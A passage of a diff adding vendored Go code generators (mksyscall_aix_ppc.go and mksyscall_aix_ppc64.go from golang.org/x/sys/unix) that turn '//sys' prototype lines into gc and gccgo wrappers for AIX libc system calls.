-+ aix = flag.Bool("aix", false, "aix")
-+ tags = flag.String("tags", "", "build tags")
-+)
-+
-+// cmdLine returns this programs's commandline arguments
-+func cmdLine() string {
-+ return "go run mksyscall_aix_ppc.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags
-+func buildTags() string {
-+ return *tags
-+}
-+
-+// Param is function parameter
-+type Param struct {
-+ Name string
-+ Type string
-+}
-+
-+// usage prints the program usage
-+func usage() {
-+ fmt.Fprintf(os.Stderr, "usage: go run mksyscall_aix_ppc.go [-b32 | -l32] [-tags x,y] [file ...]\n")
-+ os.Exit(1)
-+}
-+
-+// parseParamList parses parameter list and returns a slice of parameters
-+func parseParamList(list string) []string {
-+ list = strings.TrimSpace(list)
-+ if list == "" {
-+ return []string{}
-+ }
-+ return regexp.MustCompile(`\s*,\s*`).Split(list, -1)
-+}
-+
-+// parseParam splits a parameter into name and type
-+func parseParam(p string) Param {
-+ ps := regexp.MustCompile(`^(\S*) (\S*)$`).FindStringSubmatch(p)
-+ if ps == nil {
-+ fmt.Fprintf(os.Stderr, "malformed parameter: %s\n", p)
-+ os.Exit(1)
-+ }
-+ return Param{ps[1], ps[2]}
-+}
-+
-+func main() {
-+ flag.Usage = usage
-+ flag.Parse()
-+ if len(flag.Args()) <= 0 {
-+ fmt.Fprintf(os.Stderr, "no files to parse provided\n")
-+ usage()
-+ }
-+
-+ endianness := ""
-+ if *b32 {
-+ endianness = "big-endian"
-+ } else if *l32 {
-+ endianness = "little-endian"
-+ }
-+
-+ pack := ""
-+ text := ""
-+ cExtern := "/*\n#include <stdint.h>\n#include <stddef.h>\n"
-+ for _, path := range flag.Args() {
-+ file, err := os.Open(path)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ s := bufio.NewScanner(file)
-+ for s.Scan() {
-+ t := s.Text()
-+ t = strings.TrimSpace(t)
-+ t = regexp.MustCompile(`\s+`).ReplaceAllString(t, ` `)
-+ if p := regexp.MustCompile(`^package (\S+)$`).FindStringSubmatch(t); p != nil && pack == "" {
-+ pack = p[1]
-+ }
-+ nonblock := regexp.MustCompile(`^\/\/sysnb `).FindStringSubmatch(t)
-+ if regexp.MustCompile(`^\/\/sys `).FindStringSubmatch(t) == nil && nonblock == nil {
-+ continue
-+ }
-+
-+ // Line must be of the form
-+ // func Open(path string, mode int, perm int) (fd int, err error)
-+ // Split into name, in params, out params.
-+ f := regexp.MustCompile(`^\/\/sys(nb)? (\w+)\(([^()]*)\)\s*(?:\(([^()]+)\))?\s*(?:=\s*(?:(\w*)\.)?(\w*))?$`).FindStringSubmatch(t)
-+ if f == nil {
-+ fmt.Fprintf(os.Stderr, "%s:%s\nmalformed //sys declaration\n", path, t)
-+ os.Exit(1)
-+ }
-+ funct, inps, outps, modname, sysname := f[2], f[3], f[4], f[5], f[6]
-+
-+ // Split argument lists on comma.
-+ in := parseParamList(inps)
-+ out := parseParamList(outps)
-+
-+ inps = strings.Join(in, ", ")
-+ outps = strings.Join(out, ", ")
-+
-+ // Try in vain to keep people from editing this file.
-+ // The theory is that they jump into the middle of the file
-+ // without reading the header.
-+ text += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+
-+ // Check if value return, err return available
-+ errvar := ""
-+ retvar := ""
-+ rettype := ""
-+ for _, param := range out {
-+ p := parseParam(param)
-+ if p.Type == "error" {
-+ errvar = p.Name
-+ } else {
-+ retvar = p.Name
-+ rettype = p.Type
-+ }
-+ }
-+
-+ // System call name.
-+ if sysname == "" {
-+ sysname = funct
-+ }
-+ sysname = regexp.MustCompile(`([a-z])([A-Z])`).ReplaceAllString(sysname, `${1}_$2`)
-+ sysname = strings.ToLower(sysname) // All libc functions are lowercase.
-+
-+ cRettype := ""
-+ if rettype == "unsafe.Pointer" {
-+ cRettype = "uintptr_t"
-+ } else if rettype == "uintptr" {
-+ cRettype = "uintptr_t"
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(rettype) != nil {
-+ cRettype = "uintptr_t"
-+ } else if rettype == "int" {
-+ cRettype = "int"
-+ } else if rettype == "int32" {
-+ cRettype = "int"
-+ } else if rettype == "int64" {
-+ cRettype = "long long"
-+ } else if rettype == "uint32" {
-+ cRettype = "unsigned int"
-+ } else if rettype == "uint64" {
-+ cRettype = "unsigned long long"
-+ } else {
-+ cRettype = "int"
-+ }
-+ if sysname == "exit" {
-+ cRettype = "void"
-+ }
-+
-+ // Change p.Types to c
-+ var cIn []string
-+ for _, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "string" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t", "size_t")
-+ } else if p.Type == "unsafe.Pointer" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "uintptr" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "int" {
-+ cIn = append(cIn, "int")
-+ } else if p.Type == "int32" {
-+ cIn = append(cIn, "int")
-+ } else if p.Type == "int64" {
-+ cIn = append(cIn, "long long")
-+ } else if p.Type == "uint32" {
-+ cIn = append(cIn, "unsigned int")
-+ } else if p.Type == "uint64" {
-+ cIn = append(cIn, "unsigned long long")
-+ } else {
-+ cIn = append(cIn, "int")
-+ }
-+ }
-+
-+ if funct != "fcntl" && funct != "FcntlInt" && funct != "readlen" && funct != "writelen" {
-+ if sysname == "select" {
-+ // select is a keyword of Go. Its name is
-+ // changed to c_select.
-+ cExtern += "#define c_select select\n"
-+ }
-+ // Imports of system calls from libc
-+ cExtern += fmt.Sprintf("%s %s", cRettype, sysname)
-+ cIn := strings.Join(cIn, ", ")
-+ cExtern += fmt.Sprintf("(%s);\n", cIn)
-+ }
-+
-+ // So file name.
-+ if *aix {
-+ if modname == "" {
-+ modname = "libc.a/shr_64.o"
-+ } else {
-+ fmt.Fprintf(os.Stderr, "%s: only syscall using libc are available\n", funct)
-+ os.Exit(1)
-+ }
-+ }
-+
-+ strconvfunc := "C.CString"
-+
-+ // Go function header.
-+ if outps != "" {
-+ outps = fmt.Sprintf(" (%s)", outps)
-+ }
-+ if text != "" {
-+ text += "\n"
-+ }
-+
-+ text += fmt.Sprintf("func %s(%s)%s {\n", funct, strings.Join(in, ", "), outps)
-+
-+ // Prepare arguments to Syscall.
-+ var args []string
-+ n := 0
-+ argN := 0
-+ for _, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ args = append(args, "C.uintptr_t(uintptr(unsafe.Pointer("+p.Name+")))")
-+ } else if p.Type == "string" && errvar != "" {
-+ text += fmt.Sprintf("\t_p%d := uintptr(unsafe.Pointer(%s(%s)))\n", n, strconvfunc, p.Name)
-+ args = append(args, fmt.Sprintf("C.uintptr_t(_p%d)", n))
-+ n++
-+ } else if p.Type == "string" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses string arguments, but has no error return\n")
-+ text += fmt.Sprintf("\t_p%d := uintptr(unsafe.Pointer(%s(%s)))\n", n, strconvfunc, p.Name)
-+ args = append(args, fmt.Sprintf("C.uintptr_t(_p%d)", n))
-+ n++
-+ } else if m := regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type); m != nil {
-+ // Convert slice into pointer, length.
-+ // Have to be careful not to take address of &a[0] if len == 0:
-+ // pass nil in that case.
-+ text += fmt.Sprintf("\tvar _p%d *%s\n", n, m[1])
-+ text += fmt.Sprintf("\tif len(%s) > 0 {\n\t\t_p%d = &%s[0]\n\t}\n", p.Name, n, p.Name)
-+ args = append(args, fmt.Sprintf("C.uintptr_t(uintptr(unsafe.Pointer(_p%d)))", n))
-+ n++
-+ text += fmt.Sprintf("\tvar _p%d int\n", n)
-+ text += fmt.Sprintf("\t_p%d = len(%s)\n", n, p.Name)
-+ args = append(args, fmt.Sprintf("C.size_t(_p%d)", n))
-+ n++
-+ } else if p.Type == "int64" && endianness != "" {
-+ if endianness == "big-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s>>32)", p.Name), fmt.Sprintf("uintptr(%s)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name), fmt.Sprintf("uintptr(%s>>32)", p.Name))
-+ }
-+ n++
-+ } else if p.Type == "bool" {
-+ text += fmt.Sprintf("\tvar _p%d uint32\n", n)
-+ text += fmt.Sprintf("\tif %s {\n\t\t_p%d = 1\n\t} else {\n\t\t_p%d = 0\n\t}\n", p.Name, n, n)
-+ args = append(args, fmt.Sprintf("_p%d", n))
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(p.Type) != nil {
-+ args = append(args, fmt.Sprintf("C.uintptr_t(uintptr(%s))", p.Name))
-+ } else if p.Type == "unsafe.Pointer" {
-+ args = append(args, fmt.Sprintf("C.uintptr_t(uintptr(%s))", p.Name))
-+ } else if p.Type == "int" {
-+ if (argN == 2) && ((funct == "readlen") || (funct == "writelen")) {
-+ args = append(args, fmt.Sprintf("C.size_t(%s)", p.Name))
-+ } else if argN == 0 && funct == "fcntl" {
-+ args = append(args, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else if (argN == 2) && ((funct == "fcntl") || (funct == "FcntlInt")) {
-+ args = append(args, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("C.int(%s)", p.Name))
-+ }
-+ } else if p.Type == "int32" {
-+ args = append(args, fmt.Sprintf("C.int(%s)", p.Name))
-+ } else if p.Type == "int64" {
-+ args = append(args, fmt.Sprintf("C.longlong(%s)", p.Name))
-+ } else if p.Type == "uint32" {
-+ args = append(args, fmt.Sprintf("C.uint(%s)", p.Name))
-+ } else if p.Type == "uint64" {
-+ args = append(args, fmt.Sprintf("C.ulonglong(%s)", p.Name))
-+ } else if p.Type == "uintptr" {
-+ args = append(args, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("C.int(%s)", p.Name))
-+ }
-+ argN++
-+ }
-+
-+ // Actual call.
-+ arglist := strings.Join(args, ", ")
-+ call := ""
-+ if sysname == "exit" {
-+ if errvar != "" {
-+ call += "er :="
-+ } else {
-+ call += ""
-+ }
-+ } else if errvar != "" {
-+ call += "r0,er :="
-+ } else if retvar != "" {
-+ call += "r0,_ :="
-+ } else {
-+ call += ""
-+ }
-+ if sysname == "select" {
-+ // select is a keyword of Go. Its name is
-+ // changed to c_select.
-+ call += fmt.Sprintf("C.c_%s(%s)", sysname, arglist)
-+ } else {
-+ call += fmt.Sprintf("C.%s(%s)", sysname, arglist)
-+ }
-+
-+ // Assign return values.
-+ body := ""
-+ for i := 0; i < len(out); i++ {
-+ p := parseParam(out[i])
-+ reg := ""
-+ if p.Name == "err" {
-+ reg = "e1"
-+ } else {
-+ reg = "r0"
-+ }
-+ if reg != "e1" {
-+ body += fmt.Sprintf("\t%s = %s(%s)\n", p.Name, p.Type, reg)
-+ }
-+ }
-+
-+ // verify return
-+ if sysname != "exit" && errvar != "" {
-+ if regexp.MustCompile(`^uintptr`).FindStringSubmatch(cRettype) != nil {
-+ body += "\tif (uintptr(r0) ==^uintptr(0) && er != nil) {\n"
-+ body += fmt.Sprintf("\t\t%s = er\n", errvar)
-+ body += "\t}\n"
-+ } else {
-+ body += "\tif (r0 ==-1 && er != nil) {\n"
-+ body += fmt.Sprintf("\t\t%s = er\n", errvar)
-+ body += "\t}\n"
-+ }
-+ } else if errvar != "" {
-+ body += "\tif (er != nil) {\n"
-+ body += fmt.Sprintf("\t\t%s = er\n", errvar)
-+ body += "\t}\n"
-+ }
-+
-+ text += fmt.Sprintf("\t%s\n", call)
-+ text += body
-+
-+ text += "\treturn\n"
-+ text += "}\n"
-+ }
-+ if err := s.Err(); err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ file.Close()
-+ }
-+ imp := ""
-+ if pack != "unix" {
-+ imp = "import \"golang.org/x/sys/unix\"\n"
-+
-+ }
-+ fmt.Printf(srcTemplate, cmdLine(), buildTags(), pack, cExtern, imp, text)
-+}
-+
-+const srcTemplate = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+
-+package %s
-+
-+
-+%s
-+*/
-+import "C"
-+import (
-+ "unsafe"
-+)
-+
-+
-+%s
-+
-+%s
-+`
-diff --git a/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc64.go b/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc64.go
-new file mode 100644
-index 00000000..c9600995
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc64.go
-@@ -0,0 +1,614 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+/*
-+This program reads a file containing function prototypes
-+(like syscall_aix.go) and generates system call bodies.
-+The prototypes are marked by lines beginning with "//sys"
-+and read like func declarations if //sys is replaced by func, but:
-+ * The parameter lists must give a name for each argument.
-+ This includes return parameters.
-+ * The parameter lists must give a type for each argument:
-+ the (x, y, z int) shorthand is not allowed.
-+ * If the return parameter is an error number, it must be named err.
-+ * If go func name needs to be different than its libc name,
-+ * or the function is not in libc, name could be specified
-+ * at the end, after "=" sign, like
-+ //sys getsockopt(s int, level int, name int, val uintptr, vallen *_Socklen) (err error) = libsocket.getsockopt
-+
-+
-+This program will generate three files and handle both gc and gccgo implementation:
-+ - zsyscall_aix_ppc64.go: the common part of each implementation (error handler, pointer creation)
-+ - zsyscall_aix_ppc64_gc.go: gc part with //go_cgo_import_dynamic and a call to syscall6
-+ - zsyscall_aix_ppc64_gccgo.go: gccgo part with C function and conversion to C type.
-+
-+ The generated code looks like this
-+
-+zsyscall_aix_ppc64.go
-+func asyscall(...) (n int, err error) {
-+ // Pointer Creation
-+ r1, e1 := callasyscall(...)
-+ // Type Conversion
-+ // Error Handler
-+ return
-+}
-+
-+zsyscall_aix_ppc64_gc.go
-+//go:cgo_import_dynamic libc_asyscall asyscall "libc.a/shr_64.o"
-+//go:linkname libc_asyscall libc_asyscall
-+var asyscall syscallFunc
-+
-+func callasyscall(...) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_asyscall)), "nb_args", ... )
-+ return
-+}
-+
-+zsyscall_aix_ppc64_ggcgo.go
-+
-+// int asyscall(...)
-+
-+import "C"
-+
-+func callasyscall(...) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.asyscall(...))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+*/
-+
-+package main
-+
-+import (
-+ "bufio"
-+ "flag"
-+ "fmt"
-+ "io/ioutil"
-+ "os"
-+ "regexp"
-+ "strings"
-+)
-+
-+var (
-+ b32 = flag.Bool("b32", false, "32bit big-endian")
-+ l32 = flag.Bool("l32", false, "32bit little-endian")
-+ aix = flag.Bool("aix", false, "aix")
-+ tags = flag.String("tags", "", "build tags")
-+)
-+
-+// cmdLine returns this programs's commandline arguments
-+func cmdLine() string {
-+ return "go run mksyscall_aix_ppc64.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags
-+func buildTags() string {
-+ return *tags
-+}
-+
-+// Param is function parameter
-+type Param struct {
-+ Name string
-+ Type string
-+}
-+
-+// usage prints the program usage
-+func usage() {
-+ fmt.Fprintf(os.Stderr, "usage: go run mksyscall_aix_ppc64.go [-b32 | -l32] [-tags x,y] [file ...]\n")
-+ os.Exit(1)
-+}
-+
-+// parseParamList parses parameter list and returns a slice of parameters
-+func parseParamList(list string) []string {
-+ list = strings.TrimSpace(list)
-+ if list == "" {
-+ return []string{}
-+ }
-+ return regexp.MustCompile(`\s*,\s*`).Split(list, -1)
-+}
-+
-+// parseParam splits a parameter into name and type
-+func parseParam(p string) Param {
-+ ps := regexp.MustCompile(`^(\S*) (\S*)$`).FindStringSubmatch(p)
-+ if ps == nil {
-+ fmt.Fprintf(os.Stderr, "malformed parameter: %s\n", p)
-+ os.Exit(1)
-+ }
-+ return Param{ps[1], ps[2]}
-+}
-+
-+func main() {
-+ flag.Usage = usage
-+ flag.Parse()
-+ if len(flag.Args()) <= 0 {
-+ fmt.Fprintf(os.Stderr, "no files to parse provided\n")
-+ usage()
-+ }
-+
-+ endianness := ""
-+ if *b32 {
-+ endianness = "big-endian"
-+ } else if *l32 {
-+ endianness = "little-endian"
-+ }
-+
-+ pack := ""
-+ // GCCGO
-+ textgccgo := ""
-+ cExtern := "/*\n#include <stdint.h>\n"
-+ // GC
-+ textgc := ""
-+ dynimports := ""
-+ linknames := ""
-+ var vars []string
-+ // COMMON
-+ textcommon := ""
-+ for _, path := range flag.Args() {
-+ file, err := os.Open(path)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ s := bufio.NewScanner(file)
-+ for s.Scan() {
-+ t := s.Text()
-+ t = strings.TrimSpace(t)
-+ t = regexp.MustCompile(`\s+`).ReplaceAllString(t, ` `)
-+ if p := regexp.MustCompile(`^package (\S+)$`).FindStringSubmatch(t); p != nil && pack == "" {
-+ pack = p[1]
-+ }
-+ nonblock := regexp.MustCompile(`^\/\/sysnb `).FindStringSubmatch(t)
-+ if regexp.MustCompile(`^\/\/sys `).FindStringSubmatch(t) == nil && nonblock == nil {
-+ continue
-+ }
-+
-+ // Line must be of the form
-+ // func Open(path string, mode int, perm int) (fd int, err error)
-+ // Split into name, in params, out params.
-+ f := regexp.MustCompile(`^\/\/sys(nb)? (\w+)\(([^()]*)\)\s*(?:\(([^()]+)\))?\s*(?:=\s*(?:(\w*)\.)?(\w*))?$`).FindStringSubmatch(t)
-+ if f == nil {
-+ fmt.Fprintf(os.Stderr, "%s:%s\nmalformed //sys declaration\n", path, t)
-+ os.Exit(1)
-+ }
-+ funct, inps, outps, modname, sysname := f[2], f[3], f[4], f[5], f[6]
-+
-+ // Split argument lists on comma.
-+ in := parseParamList(inps)
-+ out := parseParamList(outps)
-+
-+ inps = strings.Join(in, ", ")
-+ outps = strings.Join(out, ", ")
-+
-+ if sysname == "" {
-+ sysname = funct
-+ }
-+
-+ onlyCommon := false
-+ if funct == "readlen" || funct == "writelen" || funct == "FcntlInt" || funct == "FcntlFlock" {
-+ // This function call another syscall which is already implemented.
-+ // Therefore, the gc and gccgo part must not be generated.
-+ onlyCommon = true
-+ }
-+
-+ // Try in vain to keep people from editing this file.
-+ // The theory is that they jump into the middle of the file
-+ // without reading the header.
-+
-+ textcommon += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+ if !onlyCommon {
-+ textgccgo += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+ textgc += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+ }
-+
-+ // Check if value return, err return available
-+ errvar := ""
-+ rettype := ""
-+ for _, param := range out {
-+ p := parseParam(param)
-+ if p.Type == "error" {
-+ errvar = p.Name
-+ } else {
-+ rettype = p.Type
-+ }
-+ }
-+
-+ sysname = regexp.MustCompile(`([a-z])([A-Z])`).ReplaceAllString(sysname, `${1}_$2`)
-+ sysname = strings.ToLower(sysname) // All libc functions are lowercase.
-+
-+ // GCCGO Prototype return type
-+ cRettype := ""
-+ if rettype == "unsafe.Pointer" {
-+ cRettype = "uintptr_t"
-+ } else if rettype == "uintptr" {
-+ cRettype = "uintptr_t"
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(rettype) != nil {
-+ cRettype = "uintptr_t"
-+ } else if rettype == "int" {
-+ cRettype = "int"
-+ } else if rettype == "int32" {
-+ cRettype = "int"
-+ } else if rettype == "int64" {
-+ cRettype = "long long"
-+ } else if rettype == "uint32" {
-+ cRettype = "unsigned int"
-+ } else if rettype == "uint64" {
-+ cRettype = "unsigned long long"
-+ } else {
-+ cRettype = "int"
-+ }
-+ if sysname == "exit" {
-+ cRettype = "void"
-+ }
-+
-+ // GCCGO Prototype arguments type
-+ var cIn []string
-+ for i, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "string" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t", "size_t")
-+ } else if p.Type == "unsafe.Pointer" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "uintptr" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "int" {
-+ if (i == 0 || i == 2) && funct == "fcntl" {
-+ // These fcntl arguments needs to be uintptr to be able to call FcntlInt and FcntlFlock
-+ cIn = append(cIn, "uintptr_t")
-+ } else {
-+ cIn = append(cIn, "int")
-+ }
-+
-+ } else if p.Type == "int32" {
-+ cIn = append(cIn, "int")
-+ } else if p.Type == "int64" {
-+ cIn = append(cIn, "long long")
-+ } else if p.Type == "uint32" {
-+ cIn = append(cIn, "unsigned int")
-+ } else if p.Type == "uint64" {
-+ cIn = append(cIn, "unsigned long long")
-+ } else {
-+ cIn = append(cIn, "int")
-+ }
-+ }
-+
-+ if !onlyCommon {
-+ // GCCGO Prototype Generation
-+ // Imports of system calls from libc
-+ if sysname == "select" {
-+ // select is a keyword of Go. Its name is
-+ // changed to c_select.
-+ cExtern += "#define c_select select\n"
-+ }
-+ cExtern += fmt.Sprintf("%s %s", cRettype, sysname)
-+ cIn := strings.Join(cIn, ", ")
-+ cExtern += fmt.Sprintf("(%s);\n", cIn)
-+ }
-+ // GC Library name
-+ if modname == "" {
-+ modname = "libc.a/shr_64.o"
-+ } else {
-+ fmt.Fprintf(os.Stderr, "%s: only syscall using libc are available\n", funct)
-+ os.Exit(1)
-+ }
-+ sysvarname := fmt.Sprintf("libc_%s", sysname)
-+
-+ if !onlyCommon {
-+ // GC Runtime import of function to allow cross-platform builds.
-+ dynimports += fmt.Sprintf("//go:cgo_import_dynamic %s %s \"%s\"\n", sysvarname, sysname, modname)
-+ // GC Link symbol to proc address variable.
-+ linknames += fmt.Sprintf("//go:linkname %s %s\n", sysvarname, sysvarname)
-+ // GC Library proc address variable.
-+ vars = append(vars, sysvarname)
-+ }
-+
-+ strconvfunc := "BytePtrFromString"
-+ strconvtype := "*byte"
-+
-+ // Go function header.
-+ if outps != "" {
-+ outps = fmt.Sprintf(" (%s)", outps)
-+ }
-+ if textcommon != "" {
-+ textcommon += "\n"
-+ }
-+
-+ textcommon += fmt.Sprintf("func %s(%s)%s {\n", funct, strings.Join(in, ", "), outps)
-+
-+ // Prepare arguments tocall.
-+ var argscommon []string // Arguments in the common part
-+ var argscall []string // Arguments for call prototype
-+ var argsgc []string // Arguments for gc call (with syscall6)
-+ var argsgccgo []string // Arguments for gccgo call (with C.name_of_syscall)
-+ n := 0
-+ argN := 0
-+ for _, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(unsafe.Pointer(%s))", p.Name))
-+ argscall = append(argscall, fmt.Sprintf("%s uintptr", p.Name))
-+ argsgc = append(argsgc, p.Name)
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else if p.Type == "string" && errvar != "" {
-+ textcommon += fmt.Sprintf("\tvar _p%d %s\n", n, strconvtype)
-+ textcommon += fmt.Sprintf("\t_p%d, %s = %s(%s)\n", n, errvar, strconvfunc, p.Name)
-+ textcommon += fmt.Sprintf("\tif %s != nil {\n\t\treturn\n\t}\n", errvar)
-+
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ argscall = append(argscall, fmt.Sprintf("_p%d uintptr ", n))
-+ argsgc = append(argsgc, fmt.Sprintf("_p%d", n))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(_p%d)", n))
-+ n++
-+ } else if p.Type == "string" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses string arguments, but has no error return\n")
-+ textcommon += fmt.Sprintf("\tvar _p%d %s\n", n, strconvtype)
-+ textcommon += fmt.Sprintf("\t_p%d, %s = %s(%s)\n", n, errvar, strconvfunc, p.Name)
-+ textcommon += fmt.Sprintf("\tif %s != nil {\n\t\treturn\n\t}\n", errvar)
-+
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ argscall = append(argscall, fmt.Sprintf("_p%d uintptr", n))
-+ argsgc = append(argsgc, fmt.Sprintf("_p%d", n))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(_p%d)", n))
-+ n++
-+ } else if m := regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type); m != nil {
-+ // Convert slice into pointer, length.
-+ // Have to be careful not to take address of &a[0] if len == 0:
-+ // pass nil in that case.
-+ textcommon += fmt.Sprintf("\tvar _p%d *%s\n", n, m[1])
-+ textcommon += fmt.Sprintf("\tif len(%s) > 0 {\n\t\t_p%d = &%s[0]\n\t}\n", p.Name, n, p.Name)
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n), fmt.Sprintf("len(%s)", p.Name))
-+ argscall = append(argscall, fmt.Sprintf("_p%d uintptr", n), fmt.Sprintf("_lenp%d int", n))
-+ argsgc = append(argsgc, fmt.Sprintf("_p%d", n), fmt.Sprintf("uintptr(_lenp%d)", n))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(_p%d)", n), fmt.Sprintf("C.size_t(_lenp%d)", n))
-+ n++
-+ } else if p.Type == "int64" && endianness != "" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses int64 with 32 bits mode. Case not yet implemented\n")
-+ } else if p.Type == "bool" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses bool. Case not yet implemented\n")
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(p.Type) != nil || p.Type == "unsafe.Pointer" {
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argscall = append(argscall, fmt.Sprintf("%s uintptr", p.Name))
-+ argsgc = append(argsgc, p.Name)
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else if p.Type == "int" {
-+ if (argN == 0 || argN == 2) && ((funct == "fcntl") || (funct == "FcntlInt") || (funct == "FcntlFlock")) {
-+ // These fcntl arguments need to be uintptr to be able to call FcntlInt and FcntlFlock
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argscall = append(argscall, fmt.Sprintf("%s uintptr", p.Name))
-+ argsgc = append(argsgc, p.Name)
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+
-+ } else {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s int", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.int(%s)", p.Name))
-+ }
-+ } else if p.Type == "int32" {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s int32", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.int(%s)", p.Name))
-+ } else if p.Type == "int64" {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s int64", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.longlong(%s)", p.Name))
-+ } else if p.Type == "uint32" {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s uint32", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uint(%s)", p.Name))
-+ } else if p.Type == "uint64" {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s uint64", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.ulonglong(%s)", p.Name))
-+ } else if p.Type == "uintptr" {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s uintptr", p.Name))
-+ argsgc = append(argsgc, p.Name)
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else {
-+ argscommon = append(argscommon, fmt.Sprintf("int(%s)", p.Name))
-+ argscall = append(argscall, fmt.Sprintf("%s int", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.int(%s)", p.Name))
-+ }
-+ argN++
-+ }
